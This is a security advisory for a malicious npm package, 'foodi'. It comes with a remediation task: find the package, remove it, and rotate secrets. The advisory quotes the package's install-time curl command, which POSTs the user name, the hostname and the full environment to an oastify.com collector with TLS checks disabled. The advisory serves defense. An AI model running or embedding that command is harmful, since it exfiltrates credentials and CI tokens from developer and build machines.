MAL-2026-12383 Malicious code in foodi (npm)
Malicious package
Published
MAL-2026-12383 is a malicious package: foodi (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-12383/ (Markdown: https://insights.sbomify.com/MAL-2026-12383/index.md)
- Package
- foodi
- Registry
- npm
What is MAL-2026-12383?
MAL-2026-12383 is a malicious package in foodi, published on 5 Aug 2026.
Official description
package.json declares preinstall and postinstall lifecycle scripts that both execute
curl -X POST -k -s https://y0zhmssf65c8er7btoglvt9bg2mtakc81.oastify.com -d "u=$(whoami)&h=$(hostname)&e=$(env)". On npm install, the package runs whoami, hostname, and dumps the full process environment, then POSTs the collected data to a Burp Collaborator (oastify.com) subdomain over TLS with certificate verification disabled (-k). Environment variables on developer and CI machines routinely contain credentials, API keys, and CI tokens. The package's main module is empty, consistent with a squat/dependency-confusion payload whose sole function is install-time exfiltration.What should I do about MAL-2026-12383?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.